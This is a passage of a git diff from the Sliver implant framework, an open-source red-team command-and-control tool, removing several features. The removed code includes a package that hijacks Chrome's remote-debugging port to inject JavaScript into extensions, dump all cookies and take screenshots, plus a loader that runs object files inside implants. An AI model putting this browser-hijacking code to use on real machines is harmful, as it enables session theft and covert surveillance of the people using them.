 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
 			}
-			echoed = true
 
 		case consts.JoinedEvent:
 			con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
-			echoed = true
 		case consts.LeftEvent:
 			con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
-			echoed = true
 
 		case consts.JobStoppedEvent:
 			job := event.Job
 			con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
-			echoed = true
 
 		case consts.SessionOpenedEvent:
 			session := event.Session
@@ -212,14 +201,12 @@ func (con *SliverConsoleClient) startEventLoop() {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
 			}
-			echoed = true
 
 		case consts.SessionUpdateEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
 			shortID := strings.Split(session.ID, "-")[0]
 			con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
-			echoed = true
 
 		case consts.SessionClosedEvent:
 			session := event.Session
@@ -229,7 +216,6 @@ func (con *SliverConsoleClient) startEventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
 			core.GetTunnels().CloseForSession(session.ID)
-			core.CloseCursedProcesses(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")
@@ -242,7 +228,6 @@ func (con *SliverConsoleClient) startEventLoop() {
 				}
 				con.PrintEventInfof("Removed session %s from Operator", session.Name)
 			}
-			echoed = true
 
 		case consts.BeaconRegisteredEvent:
 			beacon := &clientpb.Beacon{}
@@ -261,46 +246,18 @@ func (con *SliverConsoleClient) startEventLoop() {
 					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
 				}
 			}
-			echoed = true
 
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
-			echoed = true
-
 		}
 
 		con.triggerReactions(event)
 
-		// Only render if we echoed the event
-		if echoed {
-			con.Printf(Clearln + con.GetPrompt())
-			bufio.NewWriter(con.App.Stdout()).Flush()
-		}
+		con.Printf(Clearln + con.GetPrompt())
+		bufio.NewWriter(con.App.Stdout()).Flush()
 	}
 }
 
-func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
-	listener := make(chan *clientpb.Event, 100)
-	listenerID, _ := uuid.NewV4()
-	con.EventListeners.Store(listenerID.String(), listener)
-	return listenerID.String(), listener
-}
-
-func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
-	value, ok := con.EventListeners.LoadAndDelete(listenerID)
-	if ok {
-		close(value.(chan *clientpb.Event))
-	}
-}
-
-func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
-	con.EventListeners.Range(func(key, value interface{}) bool {
-		listener := value.(chan *clientpb.Event)
-		listener <- event // Do not block while sending the event to the listener
-		return true
-	})
-}
-
 func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
 	reactions := core.Reactions.On(event.EventType)
 	if len(reactions) == 0 {
@@ -567,34 +524,6 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
 	go spin.Until(con.App.Stdout(), message, ctrl)
 }
 
-// FormatDateDelta - Generate formatted date string of the time delta between then and now
-func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
-	nextTime := t.Format(time.UnixDate)
-
-	var interval string
-
-	if t.Before(time.Now()) {
-		if includeDate {
-			interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
-		} else {
-			interval = time.Since(t).Round(time.Second).String()
-		}
-		if color {
-			interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
-		}
-	} else {
-		if includeDate {
-			interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
-		} else {
-			interval = time.Until(t).Round(time.Second).String()
-		}
-		if color {
-			interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
-		}
-	}
-	return interval
-}
-
 //
 // -------------------------- [ Active Target ] --------------------------
 //

client/constants/constants.go

@@ -88,15 +88,6 @@ const (
 
 	// BeaconTaskResult - Beacon task completed with a result
 	BeaconTaskResultEvent = "beacon-taskresult"
-
-	// ExternalBuildEvent
-	ExternalBuildEvent          = "external-build"
-	AcknowledgeBuildEvent       = "external-acknowledge"
-	ExternalBuildFailedEvent    = "external-build-failed"
-	ExternalBuildCompletedEvent = "external-build-completed"
-
-	// WireGuardNewPeer - New Wireguard peer added
-	WireGuardNewPeer = "wireguard-newpeer"
 )
 
 // Commands
@@ -113,7 +104,6 @@ const (
 	ReconfigStr     = "reconfig"
 	PruneStr        = "prune"
 	TasksStr        = "tasks"
-	CancelStr       = "cancel"
 	GenerateStr     = "generate"
 	RegenerateStr   = "regenerate"
 	CompilerInfoStr = "info"
@@ -233,9 +223,8 @@ const (
 	InteractiveStr        = "interactive"
 	CloseStr              = "close"
 
-	PortfwdStr  = "portfwd"
-	Socks5Str   = "socks5"
-	RportfwdStr = "rportfwd"
+	PortfwdStr = "portfwd"
+	Socks5Str  = "socks5"
 
 	ReactionStr = "reaction"
 
@@ -247,17 +236,6 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
-
-	ShikataGaNai = "shikata-ga-nai"
-
-	Cursed         = "cursed"
-	CursedChrome   = "chrome"
-	CursedConsole  = "console"
-	CursedElectron = "electron"
-	CursedEdge     = "edge"
-	CursedCookies  = "cookies"
-
-	BuildersStr = "builders"
 )
 
 // Groups

client/core/curses.go

@@ -1,92 +0,0 @@
-package core
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"net/url"
-	"sync"
-)
-
-var (
-	// SessionID -> CursedProcess
-	CursedProcesses = &sync.Map{}
-)
-
-type CursedProcess struct {
-	SessionID         string
-	PID               uint32
-	BindTCPPort       int
-	PortFwd           *Portfwd
-	Platform          string
-	ExePath           string
-	ChromeUserDataDir string
-}
-
-func (c *CursedProcess) DebugURL() *url.URL {
-	return &url.URL{
-		Scheme: "http",
-		Host:   fmt.Sprintf("localhost:%d", c.BindTCPPort),
-		Path:   "/json",
-	}
-}
-
-func CursedProcessBySessionID(sessionID string) []*CursedProcess {
-	var cursedProcesses []*CursedProcess
-	CursedProcesses.Range(func(key, value interface{}) bool {
-		cursedProcess := value.(*CursedProcess)
-		if cursedProcess.SessionID == sessionID {
-			cursedProcesses = append(cursedProcesses, cursedProcess)
-		}
-		return true
-	})
-	return cursedProcesses
-}
-
-func CloseCursedProcesses(sessionID string) {
-	CursedProcesses.Range(func(key, value interface{}) bool {
-		cursedProcess := value.(*CursedProcess)
-		if cursedProcess.SessionID == sessionID {
-			defer func() {
-				value, loaded := CursedProcesses.LoadAndDelete(key)
-				if loaded {
-					curse := value.(*CursedProcess)
-					Portfwds.Remove(curse.PortFwd.ID)
-				}
-			}()
-		}
-		return true
-	})
-}
-
-func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
-	CursedProcesses.Range(func(key, value interface{}) bool {
-		cursedProcess := value.(*CursedProcess)
-		if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
-			defer func() {
-				value, loaded := CursedProcesses.LoadAndDelete(key)
-				if loaded {
-					curse := value.(*CursedProcess)
-					Portfwds.Remove(curse.PortFwd.ID)
-				}
-			}()
-		}
-		return true
-	})
-}

client/licenses/licenses.go

@@ -85,30 +85,6 @@ POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
-MIT License
-
-Copyright (c) 2019 Ege Balcı
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
-======================================================================================================
-
 BSD 3-Clause License
 
 Copyright (c) 2018, b4rtik

client/overlord/overlord.go

@@ -1,371 +0,0 @@
-package overlord
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io/ioutil"
-	"log"
-	"net/http"
-	"net/url"
-	"time"
-
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/chromedp/cdproto/cdp"
-	"github.com/chromedp/cdproto/network"
-	"github.com/chromedp/cdproto/page"
-	"github.com/chromedp/cdproto/target"
-	"github.com/chromedp/chromedp"
-)
-
-const (
-	// AllURLs - All URLs permission
-	AllURLs = "<all_urls>"
-
-	// AllHTTP - All HTTP permission
-	AllHTTP = "http://*/*"
-
-	// AllHTTPS - All HTTP permission
-	AllHTTPS = "https://*/*"
-
-	// WebRequest - WebRequest permission
-	WebRequest = "webRequest"
-
-	// WebRequestBlocking - WebRequestBlocking permission
-	WebRequestBlocking = "webRequestBlocking"
-
-	// FetchManifestJS - Get extension manifest
-	FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
-)
-
-var (
-	// ErrTargetNotFound - Returned when a target cannot be found
-	ErrTargetNotFound = errors.New("Target not found")
-)
-
-// ManifestBackground - An extension manifest file
-type ManifestBackground struct {
-	Scripts    []string `json:"scripts"`
-	Persistent bool     `json:"persistent"`
-}
-
-// Manifest - An extension manifest file
-type Manifest struct {
-	Name            string             `json:"name"`
-	Version         string             `json:"version"`
-	Description     string             `json:"description"`
-	ManifestVersion int                `json:"manifest_version"`
-	Permissions     []string           `json:"permissions"`
-	Background      ManifestBackground `json:"background"`
-}
-
-// ChromeDebugTarget - A single debug context object
-type ChromeDebugTarget struct {
-	Description          string `json:"description"`
-	DevToolsFrontendURL  string `json:"devtoolsFrontendUrl"`
-	ID                   string `json:"id"`
-	Title                string `json:"title"`
-	Type                 string `json:"type"`
-	URL                  string `json:"url"`
-	WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
-}
-
-var allocCtx context.Context
-
-func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
-	opts := []func(*chromedp.ExecAllocator){
-		chromedp.Flag("restore-last-session", true),
-		chromedp.UserDataDir(userHomeDir),
-	}
-	switch platform {
-	case "darwin":
-		opts = append(opts,
-			chromedp.Flag("headless", false),
-			chromedp.Flag("use-mock-keychain", false),
-		)
-	default:
-		opts = append(opts, chromedp.Headless)
-	}
-	opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
-	return opts
-}
-
-func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
-	var (
-		cancel context.CancelFunc
-	)
-	if webSocketURL != "" {
-		allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
-	} else {
-		opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
-		allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
-	}
-	taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
-	return taskCtx, taskCancel, cancel
-}
-
-func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
-	targets, err := chromedp.Targets(ctx)
-	if err != nil {
-		return nil
-	}
-	for _, targetInfo := range targets {
-		if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
-			return targetInfo
-		}
-	}
-	return nil
-}
-
-func contains(haystack []string, needle string) bool {
-	set := make(map[string]struct{}, len(haystack))
-	for _, entry := range haystack {
-		set[entry] = struct{}{}
-	}
-	_, ok := set[needle]
-	return ok
-}
-
-func containsAll(haystack []string, needles []string) bool {
-	all := true
-	for _, needle := range needles {
-		if !contains(haystack, needle) {
-			all = false
-			break
-		}
-	}
-	return all
-}
-
-// ExecuteJS - injects a JavaScript code into a target
-func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
-	targetInfo := findTargetInfoByID(ctx, targetID)
-	if targetInfo == nil {
-		return nil, ErrTargetNotFound
-	}
-	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
-	var result []byte
-	evalTasks := chromedp.Tasks{
-		chromedp.Evaluate(jsCode, &result),
-	}
-	err := chromedp.Run(extCtx, evalTasks)
-	return result, err
-}
-
-// FindExtensionWithPermissions - Find an extension with a permission
-func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
-	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
-	if err != nil {
-		return nil, err
-	}
-	for _, target := range targets {
-		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
-		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
-		if err != nil {
-			continue
-		}
-		manifest := &Manifest{}
-		err = json.Unmarshal(result, manifest)
-		if err != nil {
-			continue
-		}
-		if containsAll(manifest.Permissions, permissions) {
-			return &target, nil
-		}
-	}
-	return nil, nil // No targets, no errors
-}
-
-// FindExtensionsWithPermissions - Find an extension with a permission
-func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
-	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
-	if err != nil {
-		return nil, err
-	}
-	extensions := []*ChromeDebugTarget{}
-	for _, target := range targets {
-		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
-		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
-		if err != nil {
-			continue
-		}
-		manifest := &Manifest{}
-		err = json.Unmarshal(result, manifest)
-		if err != nil {
-			continue
-		}
-		if containsAll(manifest.Permissions, permissions) {
-			extensions = append(extensions, &target)
-		}
-	}
-	return extensions, nil
-}
-
-// QueryDebugTargets - Query debug listener using HTTP client
-func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
-	resp, err := http.Get(debugURL)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, errors.New("Non-200 status code")
-	}
-	data, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
-	debugContexts := []ChromeDebugTarget{}
-	err = json.Unmarshal(data, &debugContexts)
-	return debugContexts, err
-}
-
-// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
-func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
-	resp, err := http.Get(debugURL)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, errors.New("Non-200 status code")
-	}
-	data, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
-	debugContexts := []ChromeDebugTarget{}
-	err = json.Unmarshal(data, &debugContexts)
-	if err != nil {
-		return nil, err
-	}
-	extensionContexts := []ChromeDebugTarget{}
-	for _, debugCtx := range debugContexts {
-		ctxURL, err := url.Parse(debugCtx.URL)
-		if err != nil {
-			continue
-		}
-		if ctxURL.Scheme == "chrome-extension" {
-			extensionContexts = append(extensionContexts, debugCtx)
-		}
-	}
-	return extensionContexts, nil
-}
-
-// DumpCookies - Dump all cookies from the remote debug target
-func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
-	var cookies []*network.Cookie
-	var err error
-	dumpCookieTasks := chromedp.Tasks{
-		// read network values
-		chromedp.ActionFunc(func(ctx context.Context) error {
-			cookies, err = network.GetAllCookies().Do(ctx)
-			if err != nil {
-				return err
-			}
-			// for i, cookie := range cookies {
-			// 	log.Printf("chrome cookie %d: %+v", i, cookie)
-			// }
-			return nil
-		}),
-	}
-	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
-	defer taskCancel()
-	defer cancel()
-	ctx, _ := chromedp.NewContext(taskCtx)
-	if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
-		return cookies, err
-	}
-	return cookies, nil
-}
-
-func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
-	var res string
-	setCookieTasks := chromedp.Tasks{
-		chromedp.ActionFunc(func(ctx context.Context) error {
-			// create cookie expiration
-			expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
-			// add cookies to chrome
-			for i := 0; i < len(cookies); i += 2 {
-				err := network.SetCookie(cookies[i], cookies[i+1]).
-					WithExpires(&expr).
-					WithDomain("localhost").
-					WithHTTPOnly(true).
-					Do(ctx)
-				if err != nil {
-					return err
-				}
-			}
-			return nil
-		}),
-		// navigate to site
-		// chromedp.Navigate(host),
-		// read the returned values
-		// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
-	}
-	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
-	defer taskCancel()
-	defer cancel()
-	ctx, _ := chromedp.NewContext(taskCtx)
-	if err := chromedp.Run(ctx, setCookieTasks); err != nil {
-		return "", err
-	}
-
-	return res, nil
-}
-
-// Screenshot - Take a screenshot of a Chrome context
-func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
-	var result []byte
-	screenshotTask := chromedp.Tasks{
-		chromedp.ActionFunc(func(ctx context.Context) error {
-			_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
-			if err != nil {
-				return err
-			}
-			result, err = page.CaptureScreenshot().
-				WithQuality(quality).
-				WithClip(&page.Viewport{
-					X:      contentSize.X,
-					Y:      contentSize.Y,
-					Width:  contentSize.Width,
-					Height: contentSize.Height,
-					Scale:  1,
-				}).Do(ctx)
-			if err != nil {
-				return err
-			}
-			return nil
-		}),
-	}
-
-	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
-	defer taskCancel()
-	defer cancel()
-	targetInfo := findTargetInfoByID(taskCtx, targetID)
-	if targetInfo == nil {
-		return []byte{}, ErrTargetNotFound
-	}
-	ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
-	if err := chromedp.Run(ctx, screenshotTask); err != nil {
-		return nil, err
-	}
-	return result, nil
-}

client/prelude/README.md

@@ -1,4 +1,12 @@
 Prelude
 =======
 
-The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+
+## BOF support
+
+To execute BOF TTPs, use the custom `bof` executor:
+
+```json
+bof.[{"type": "int", "value": #{json.T1234.ProcessId}}]
+```

client/prelude/bof.go

@@ -1,175 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"io/ioutil"
-	"path"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	coffLoaderName   = "coff-loader"
-	loaderEntryPoint = "LoadAndRun"
-	bofEntryPoint    = "go"
-)
-
-type bofArgs struct {
-	ArgType string      `json:"type"`
-	Value   interface{} `json:"value"`
-}
-
-func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
-	if !isLoaderLoaded(implant, rpc) {
-		err = registerLoader(implant, rpc)
-		if err != nil {
-			return
-		}
-	}
-	bofArgs := core.BOFArgsBuffer{
-		Buffer: new(bytes.Buffer),
-	}
-	for _, a := range args {
-		switch a.ArgType {
-		case "integer":
-			fallthrough
-		case "int":
-			if v, ok := a.Value.(float64); ok {
-				err = bofArgs.AddInt(uint32(v))
-			}
-		case "string":
-			if v, ok := a.Value.(string); ok {
-				err = bofArgs.AddString(v)
-			}
-		case "wstring":
-			if v, ok := a.Value.(string); ok {
-				err = bofArgs.AddWString(v)
-			}
-		case "short":
-			if v, ok := a.Value.(float64); ok {
-				err = bofArgs.AddShort(uint16(v))
-			}
-		}
-		if err != nil {
-			return
-		}
-	}
-
-	extArgs := core.BOFArgsBuffer{
-		Buffer: new(bytes.Buffer),
-	}
-
-	parsedArgs, err := bofArgs.GetBuffer()
-	if err != nil {
-		return
-	}
-	err = extArgs.AddString(bofEntryPoint)
-	if err != nil {
-		return
-	}
-	err = extArgs.AddData(bof)
-	if err != nil {
-		return
-	}
-	err = extArgs.AddData(parsedArgs)
-	if err != nil {
-		return
-	}
-	extArgsBuffer, err := extArgs.GetBuffer()
-	if err != nil {
-		return
-	}
-
-	extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
-		Name:        coffLoaderName,
-		ServerStore: false,
-		Args:        extArgsBuffer,
-		Export:      loaderEntryPoint,
-		Request:     MakeRequest(implant),
-	})
-
-	if err != nil {
-		return
-	}
-
-	// If Async req, onFinishCallback won't be nil
-	if onFinishCallback != nil {
-		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
-		return
-	}
-
-	if extResp.Response != nil && extResp.Response.Err != "" {
-		err = errors.New(extResp.Response.Err)
-	}
-	output = string(extResp.Output)
-
-	return
-}
-
-func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
-	var coffLoaderPath string
-
-	switch implant.GetArch() {
-	case "amd64":
-		coffLoaderPath = "COFFLoader.x64.dll"
-	case "386":
-		coffLoaderPath = "COFFLoader.x86.dll"
-	}
-	loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
-	loaderData, err := ioutil.ReadFile(loaderPath)
-	if err != nil {
-		return err
-	}
-	resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
-		Name:    coffLoaderName,
-		Data:    loaderData,
-		OS:      implant.GetOS(),
-		Init:    "",
-		Request: MakeRequest(implant),
-	})
-	if err != nil {
-		return err
-	}
-	if resp.Response != nil && resp.Response.Err != "" {
-		return errors.New(resp.Response.Err)
-	}
-	return nil
-}
-
-func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
-	extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: MakeRequest(implant),
-	})
-	if err != nil {
-		return false
-	}
-	for _, ext := range extList.Names {
-		if ext == coffLoaderName {
-			return true
-		}
-	}
-	return false
-}

client/prelude/commands.go

@@ -39,7 +39,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
 			if len(task) != 2 {
 				break
 			}
-			var bargs []bofArgs
+			var bargs []extArgs
 			argStr := strings.ReplaceAll(task[1], `\`, `\\`)
 			err := json.Unmarshal([]byte(argStr), &bargs)
 			if err != nil {
@@ -76,6 +76,8 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
 		default:
 			return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
 		}
+	case "bof":
+		// Actually can run any extension with some hackery
 	default:
 		bites, status, pid := execute(message, executor, agentSession, onFinish)
 		return string(bites), status, pid

client/prelude/prelude.go

@@ -112,7 +112,6 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
 	if p.conf.AESKey == "" {
 		return errors.New("missing AES key")
 	}
-	a.GetID()
 	encryptionKey := p.conf.AESKey
 	agentConfig := AgentConfig{
 		Name:      a.GetID(),

client/prelude/util/executors.go

@@ -21,7 +21,7 @@ package util
 func DetermineExecutors(platform string, arch string) []string {
 	platformExecutors := map[string]map[string][]string{
 		"windows": {
-			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
+			"file":     {"powershell.exe", "powershell.exe", "cmd.exe", "", ""},
 			"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
 		},
 		"linux": {

docs/Gemfile.lock

@@ -14,7 +14,7 @@ GEM
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.23.6)
+    commonmarker (0.23.4)
     concurrent-ruby (1.1.9)
     dnsruby (1.61.9)
       simpleidn (~> 0.1)

go-assets.sh

@@ -20,12 +20,12 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.19.2"
-GARBLE_VER="1.19.3"
-SGN_VER="0.0.3"
+GO_VER="1.18.5"
+GARBLE_VER="1.18.0"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
+GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -165,32 +165,6 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
-
-echo "-----------------------------------------------------------------"
-echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
-echo "-----------------------------------------------------------------"
-
-# Linux (amd64)
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
-
-# Linux (arm64)
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
-
-# Windows (amd64)
-echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
-curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
-
-# MacOS (amd64)
-echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
-curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
-
-# MacOS (arm64)
-echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
-curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
-
-
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go.mod

@@ -1,134 +1,119 @@
 module github.com/bishopfox/sliver
 
-go 1.18
+go 1.17
 
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
 
 require (
-	github.com/AlecAivazis/survey/v2 v2.3.6
